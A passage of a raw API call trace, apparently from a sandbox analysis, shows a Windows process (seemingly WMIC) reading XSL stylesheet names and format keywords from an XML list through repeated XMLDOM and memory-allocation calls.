returned 0x2cc400 [0147.782] malloc (_Size=0x18) returned 0x2cc420 [0147.782] SysStringLen (param_1="RAWXML") returned 0x6 [0147.782] SysStringLen (param_1="TABLE") returned 0x5 [0147.782] SysStringLen (param_1="RAWXML") returned 0x6 [0147.782] SysStringLen (param_1="LIST") returned 0x4 [0147.782] SysStringLen (param_1="LIST") returned 0x4 [0147.782] SysStringLen (param_1="RAWXML") returned 0x6 [0147.782] malloc (_Size=0x30) returned 0x2c8180 [0147.782] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.782] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.782] IUnknown:Release (This=0x21da280) returned 0x0 [0147.782] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=4, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.783] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="htable.xsl") returned 0x0 [0147.783] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.783] malloc (_Size=0x18) returned 0x2cc440 [0147.783] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.783] free (_Block=0x2cc440) [0147.783] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HTABLE", varVal2=0x4)) returned 0x0 [0147.783] malloc (_Size=0x18) returned 0x2cc440 [0147.783] malloc (_Size=0x18) returned 0x2cc460 [0147.783] SysStringLen (param_1="HTABLE") returned 0x6 [0147.784] SysStringLen (param_1="TABLE") returned 0x5 [0147.784] SysStringLen (param_1="HTABLE") returned 0x6 [0147.784] SysStringLen (param_1="LIST") returned 0x4 [0147.784] malloc (_Size=0x30) returned 0x2c81c0 [0147.784] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.784] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.784] IUnknown:Release (This=0x21da280) returned 0x0 [0147.784] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=5, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.784] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="hform.xsl") returned 0x0 [0147.784] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.784] malloc (_Size=0x18) returned 0x2cc480 [0147.784] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.785] free (_Block=0x2cc480) [0147.785] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HFORM", varVal2=0x4)) returned 0x0 [0147.785] malloc (_Size=0x18) returned 0x2cc480 [0147.785] malloc (_Size=0x18) returned 0x2cc4a0 [0147.785] SysStringLen (param_1="HFORM") returned 0x5 [0147.785] SysStringLen (param_1="TABLE") returned 0x5 [0147.785] SysStringLen (param_1="HFORM") returned 0x5 [0147.785] SysStringLen (param_1="LIST") returned 0x4 [0147.785] SysStringLen (param_1="HFORM") returned 0x5 [0147.785] SysStringLen (param_1="HTABLE") returned 0x6 [0147.785] malloc (_Size=0x30) returned 0x2c8200 [0147.786] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.786] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.786] IUnknown:Release (This=0x21da280) returned 0x0 [0147.786] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=6, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.786] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="xml.xsl") returned 0x0 [0147.786] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.786] malloc (_Size=0x18) returned 0x2cc4c0 [0147.786] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.786] free (_Block=0x2cc4c0) [0147.786] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XML", varVal2=0x4)) returned 0x0 [0147.786] malloc (_Size=0x18) returned 0x2cc4c0 [0147.786] malloc (_Size=0x18) returned 0x2cc4e0 [0147.787] SysStringLen (param_1="XML") returned 0x3 [0147.787] SysStringLen (param_1="TABLE") returned 0x5 [0147.787] SysStringLen (param_1="XML") returned 0x3 [0147.787] SysStringLen (param_1="VALUE") returned 0x5 [0147.787] SysStringLen (param_1="VALUE") returned 0x5 [0147.787] SysStringLen (param_1="XML") returned 0x3 [0147.787] malloc (_Size=0x30) returned 0x2c8240 [0147.787] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.787] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.787] IUnknown:Release (This=0x21da280) returned 0x0 [0147.787] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=7, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.787] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="mof.xsl") returned 0x0 [0147.787] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.788] malloc (_Size=0x18) returned 0x2cc500 [0147.788] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.788] free (_Block=0x2cc500) [0147.788] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MOF", varVal2=0x4)) returned 0x0 [0147.788] malloc (_Size=0x18) returned 0x2cc500 [0147.788] malloc (_Size=0x18) returned 0x2cc520 [0147.788] SysStringLen (param_1="MOF") returned 0x3 [0147.788] SysStringLen (param_1="TABLE") returned 0x5 [0147.788] SysStringLen (param_1="MOF") returned 0x3 [0147.788] SysStringLen (param_1="LIST") returned 0x4 [0147.788] SysStringLen (param_1="MOF") returned 0x3 [0147.788] SysStringLen (param_1="RAWXML") returned 0x6 [0147.789] SysStringLen (param_1="LIST") returned 0x4 [0147.789] SysStringLen (param_1="MOF") returned 0x3 [0147.789] malloc (_Size=0x30) returned 0x2c8280 [0147.789] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.789] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.789] IUnknown:Release (This=0x21da280) returned 0x0 [0147.789] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=8, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.789] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="csv.xsl") returned 0x0 [0147.789] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.789] malloc (_Size=0x18) returned 0x2cc540 [0147.789] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.789] free (_Block=0x2cc540) [0147.790] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CSV", varVal2=0x4)) returned 0x0 [0147.790] malloc (_Size=0x18) returned 0x2cc540 [0147.790] malloc (_Size=0x18) returned 0x2cc560 [0147.790] SysStringLen (param_1="CSV") returned 0x3 [0147.790] SysStringLen (param_1="TABLE") returned 0x5 [0147.790] SysStringLen (param_1="CSV") returned 0x3 [0147.790] SysStringLen (param_1="LIST") returned 0x4 [0147.790] SysStringLen (param_1="CSV") returned 0x3 [0147.790] SysStringLen (param_1="HTABLE") returned 0x6 [0147.790] SysStringLen (param_1="CSV") returned 0x3 [0147.790] SysStringLen (param_1="HFORM") returned 0x5 [0147.790] malloc (_Size=0x30) returned 0x2c82c0 [0147.790] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.791] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.791] IUnknown:Release (This=0x21da280) returned 0x0 [0147.791] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=9, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.791] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="texttable.xsl") returned 0x0 [0147.791] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.791] malloc (_Size=0x18) returned 0x2cc580 [0147.791] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.791] free (_Block=0x2cc580) [0147.791] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="texttablewsys.xsl", varVal2=0x4)) returned 0x0 [0147.791] malloc (_Size=0x18) returned 0x2cc580 [0147.791] malloc (_Size=0x18) returned 0x2cc5a0 [0147.791] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0147.791] SysStringLen (param_1="TABLE") returned 0x5 [0147.792] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0147.792] SysStringLen (param_1="VALUE") returned 0x5 [0147.792] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0147.792] SysStringLen (param_1="XML") returned 0x3 [0147.792] SysStringLen (param_1="XML") returned 0x3 [0147.792] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0147.792] malloc (_Size=0x30) returned 0x2c8300 [0147.792] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.792] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.792] IUnknown:Release (This=0x21da280) returned 0x0 [0147.792] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=10, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.792] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="texttable.xsl") returned 0x0 [0147.792] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.792] malloc (_Size=0x18) returned 0x2cc5c0 [0147.793] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.793] free (_Block=0x2cc5c0) [0147.793] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="texttablewsys", varVal2=0x4)) returned 0x0 [0147.793] malloc (_Size=0x18) returned 0x2cc5c0 [0147.793] malloc (_Size=0x18) returned 0x2cc5e0 [0147.793] SysStringLen (param_1="texttablewsys") returned 0xd [0147.793] SysStringLen (param_1="TABLE") returned 0x5 [0147.793] SysStringLen (param_1="texttablewsys") returned 0xd [0147.793] SysStringLen (param_1="XML") returned 0x3 [0147.793] SysStringLen (param_1="texttablewsys") returned 0xd [0147.793] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0147.793] SysStringLen (param_1="XML") returned 0x3 [0147.794] SysStringLen (param_1="texttablewsys") returned 0xd [0147.794] malloc (_Size=0x30) returned 0x2c8340 [0147.794] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.794] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.794] IUnknown:Release (This=0x21da280) returned 0x0 [0147.794] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=11, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.794] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="texttable.xsl") returned 0x0 [0147.794] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.794] malloc (_Size=0x18) returned 0x2cc600 [0147.794] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.794] free (_Block=0x2cc600) [0147.795] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat.xsl", varVal2=0x4)) returned 0x0 [0147.795] malloc (_Size=0x18) returned 0x2cc600 [0147.795] malloc (_Size=0x18) returned 0x2cc620 [0147.795] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0147.795] SysStringLen (param_1="TABLE") returned 0x5 [0147.795] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0147.795] SysStringLen (param_1="XML") returned 0x3 [0147.795] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0147.795] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0147.795] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0147.795] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0147.795] malloc (_Size=0x30) returned 0x2c8380 [0147.795] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.796] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.796] IUnknown:Release (This=0x21da280) returned 0x0 [0147.796] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=12, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.796] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="texttable.xsl") returned 0x0 [0147.796] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.796] malloc (_Size=0x18) returned 0x2cc640 [0147.796] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.796] free (_Block=0x2cc640) [0147.796] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat", varVal2=0x4)) returned 0x0 [0147.796] malloc (_Size=0x18) returned 0x2cc640 [0147.796] malloc (_Size=0x18) returned 0x2cc660 [0147.796] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0147.797] SysStringLen (param_1="TABLE") returned 0x5 [0147.797] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0147.797] SysStringLen (param_1="XML") returned 0x3 [0147.797] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0147.797] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0147.797] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0147.797] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0147.797] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0147.797] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0147.797] malloc (_Size=0x30) returned 0x2c83c0 [0147.797] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.797] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.797] IUnknown:Release (This=0x21da280) returned 0x0 [0147.797] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=13, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.798] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="texttable.xsl") returned 0x0 [0147.798] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.798] malloc (_Size=0x18) returned 0x2cc680 [0147.798] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.798] free (_Block=0x2cc680) [0147.798] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformatnosys.xsl", varVal2=0x4)) returned 0x0 [0147.798] malloc (_Size=0x18) returned 0x2cc680 [0147.798] malloc (_Size=0x18) returned 0x2cc6a0 [0147.798] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0147.798] SysStringLen (param_1="TABLE") returned 0x5 [0147.799] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0147.799] SysStringLen (param_1="XML") returned 0x3 [0147.799] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0147.799] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0147.799] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0147.799] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0147.799] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0147.799] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0147.799] malloc (_Size=0x30) returned 0x2c8400 [0147.799] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.799] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.799] IUnknown:Release (This=0x21da280) returned 0x0 [0147.799] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=14, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.799] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="texttable.xsl") returned 0x0 [0147.802] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.802] malloc (_Size=0x18) returned 0x2cc6c0 [0147.802] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.803] free (_Block=0x2cc6c0) [0147.803] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformatnosys", varVal2=0x4)) returned 0x0 [0147.803] malloc (_Size=0x18) returned 0x2cc6c0 [0147.803] malloc (_Size=0x18) returned 0x2cc6e0 [0147.803] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0147.803] SysStringLen (param_1="TABLE") returned 0x5 [0147.803] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0147.803] SysStringLen (param_1="XML") returned 0x3 [0147.803] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0147.803] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0147.803] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0147.803] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0147.803] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0147.804] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0147.804] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0147.804] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0147.804] malloc (_Size=0x30) returned 0x2c8440 [0147.804] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.804] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.804] IUnknown:Release (This=0x21da280) returned 0x0 [0147.804] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=15, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.804] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="htable.xsl") returned 0x0 [0147.804] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.804] malloc (_Size=0x18) returned 0x2cc700 [0147.804] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.804] free (_Block=0x2cc700) [0147.805] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby.xsl", varVal2=0x4)) returned 0x0 [0147.805] malloc (_Size=0x18) returned 0x2cc700 [0147.805] malloc (_Size=0x18) returned 0x2cc720 [0147.805] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0147.805] SysStringLen (param_1="TABLE") returned 0x5 [0147.805] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0147.805] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0147.805] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0147.805] SysStringLen (param_1="XML") returned 0x3 [0147.805] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0147.805] SysStringLen (param_1="texttablewsys") returned 0xd [0147.805] SysStringLen (param_1="XML") returned 0x3 [0147.805] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0147.805] malloc (_Size=0x30) returned 0x2c8480 [0147.806] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.806] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.806] IUnknown:Release (This=0x21da280) returned 0x0 [0147.806] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=16, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.806] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="htable.xsl") returned 0x0 [0147.806] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.806] malloc (_Size=0x18) returned 0x2cc740 [0147.806] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.806] free (_Block=0x2cc740) [0147.806] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby", varVal2=0x4)) returned 0x0 [0147.806] malloc (_Size=0x18) returned 0x2cc740 [0147.807] malloc (_Size=0x18) returned 0x2cc760 [0147.807] SysStringLen (param_1="htable-sortby") returned 0xd [0147.807] SysStringLen (param_1="TABLE") returned 0x5 [0147.807] SysStringLen (param_1="htable-sortby") returned 0xd [0147.807] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0147.807] SysStringLen (param_1="htable-sortby") returned 0xd [0147.807] SysStringLen (param_1="XML") returned 0x3 [0147.807] SysStringLen (param_1="htable-sortby") returned 0xd [0147.807] SysStringLen (param_1="texttablewsys") returned 0xd [0147.807] SysStringLen (param_1="htable-sortby") returned 0xd [0147.807] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0147.807] SysStringLen (param_1="XML") returned 0x3 [0147.807] SysStringLen (param_1="htable-sortby") returned 0xd [0147.807] malloc (_Size=0x30) returned 0x2c84c0 [0147.808] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.808] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.808] IUnknown:Release (This=0x21da280) returned 0x0 [0147.808] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=17, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.808] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="mof.xsl") returned 0x0 [0147.808] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.808] malloc (_Size=0x18) returned 0x2cc780 [0147.808] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.808] free (_Block=0x2cc780) [0147.808] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat.xsl", varVal2=0x4)) returned 0x0 [0147.808] malloc (_Size=0x18) returned 0x2cc780 [0147.808] malloc (_Size=0x18) returned 0x2cc7a0 [0147.809] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0147.809] SysStringLen (param_1="TABLE") returned 0x5 [0147.809] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0147.809] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0147.809] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0147.809] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0147.809] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0147.809] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0147.809] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0147.809] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0147.809] malloc (_Size=0x30) returned 0x2c8500 [0147.809] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.809] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.809] IUnknown:Release (This=0x21da280) returned 0x0 [0147.810] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=18, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.810] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="mof.xsl") returned 0x0 [0147.810] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.810] malloc (_Size=0x18) returned 0x2cc7c0 [0147.810] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.810] free (_Block=0x2cc7c0) [0147.810] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat", varVal2=0x4)) returned 0x0 [0147.810] malloc (_Size=0x18) returned 0x2cc7c0 [0147.810] malloc (_Size=0x18) returned 0x2cc7e0 [0147.810] SysStringLen (param_1="wmiclimofformat") returned 0xf [0147.810] SysStringLen (param_1="TABLE") returned 0x5 [0147.811] SysStringLen (param_1="wmiclimofformat") returned 0xf [0147.811] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0147.811] SysStringLen (param_1="wmiclimofformat") returned 0xf [0147.811] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0147.811] SysStringLen (param_1="wmiclimofformat") returned 0xf [0147.811] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0147.811] SysStringLen (param_1="wmiclimofformat") returned 0xf [0147.811] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0147.811] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0147.811] SysStringLen (param_1="wmiclimofformat") returned 0xf [0147.811] malloc (_Size=0x30) returned 0x2c8540 [0147.811] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.811] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.812] IUnknown:Release (This=0x21da280) returned 0x0 [0147.812] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=19, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.812] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="textvaluelist.xsl") returned 0x0 [0147.812] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.812] malloc (_Size=0x18) returned 0x2cc800 [0147.812] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.812] free (_Block=0x2cc800) [0147.812] 